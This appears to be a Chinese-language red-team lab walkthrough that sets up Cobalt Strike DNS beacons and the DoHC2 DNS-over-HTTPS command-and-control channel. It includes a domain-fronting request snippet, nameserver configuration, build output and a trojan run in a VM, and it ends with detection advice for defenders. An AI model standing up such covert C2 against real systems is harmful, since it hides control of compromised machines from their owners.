DoHC2

Mitre ATT&CKcon发布议题DNS over HTTPS后开源了DoHC2

本次针对改项目进行DNS over HTTPS 的研究

DNS Beacon

1.首先使用cobaltstrike进行DNS通讯测试

个人域名:

添加记录类型

Type Name Content
A cobalt cobaltstrike client ip
NS ns1 cobalt.example.com
NS ns2 cobalt.example.com

2.cobaltstrike 新建listener

host: cobalt.example.com

beacon:ns1.example.com

3.cobaltstrike生成木马

4.在虚拟机中运行生成的exe

整个流程:
木马向DNS服务器ns1.example.com发起通信 -> DNS服务器ns1.example.com指向域名cobalt.example.com -> 域名cobalt.example.com指向VPS的ip -> 木马与VPS建立DNS隧道连接

DoHC2

1.在cobaltstrike client 下载DoHC2,加载external_c2.cna

external_c2.cna启动的外部C2端口2222

2.使用脚本来测试外部C2连接

连接成功

3.设置DoHC2客户端

Visual Studio 2019打开项目ExternalC2

修改request

1
2
3
4
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)";
request.Accept = "application/dns-json";
request.Host = "dns.google.com";

项目右键点击生成,于是在bin\Debug目录下生成ExternalC2.dll

Visual Studio 2019打开项目DoHC2Runner

修改为域名的NS记录,并且将https://dns.rubyfish.cn/dns-query修改为https://google.com/resolve

1
doh.Configure("ns1.wh0alesec.xyz", "ns2.wh0alesec.xyz", "https://google.com/resolve");

项目添加对ExternalC2.dll的引用

右键点击生成

1
2
3
1>  DoHC2Runner -> E:\PenetrationTools\Redteam\DoHC2\Example-Client\DoHC2Runner\bin\Debug\DoHC2Runner.exe
1> Fody: Skipped Verifying assembly since it is disabled in configuration
========== 全部重新生成: 成功 1 个,失败 0 个,跳过 0 个 ==========

4.运行DoHC2服务器

1
python3 ./DoHC2.py

5.在虚拟机中运行DoHC2Runner.exe,虚拟机在进行dns通信

6.cobaltstrike上线

如何防御

  • 监控通过HTTPS(DoH)终结点的DNS流量。
  • 检查基础的HTTP交换以获取DoH使用的指示符,而将TLS剥离以进行检查。即application/dns-jsonapplication/dns-message内容类型。
  • 查找“Domain Fronting”的潜在指示符,由此找出TLS连接主机名与HTTP host头不匹配。
  • 基于异常的数据包大小,频率和容量检测应用于传出流量。
  • 防御者正在考虑可能进行的其他检测(无法进行TLS剥离),其中涉及使用JA3之类的工具对SSL客户端行为中的任何可观察特征进行指纹识别。NetworkMiner 2.5添加了对另一种称为JA3被动TLS分析技术的支持,该技术是对TLS客户端实现进行指纹识别的一种方法。

Reference:

https://github.com/SpiderLabs/DoHC2/issues/1

https://www.netresec.com/?page=Blog&month=2020-01&post=Sharing-a-PCAP-with-Decrypted-HTTPS

-------------本文结束感谢您的阅读-------------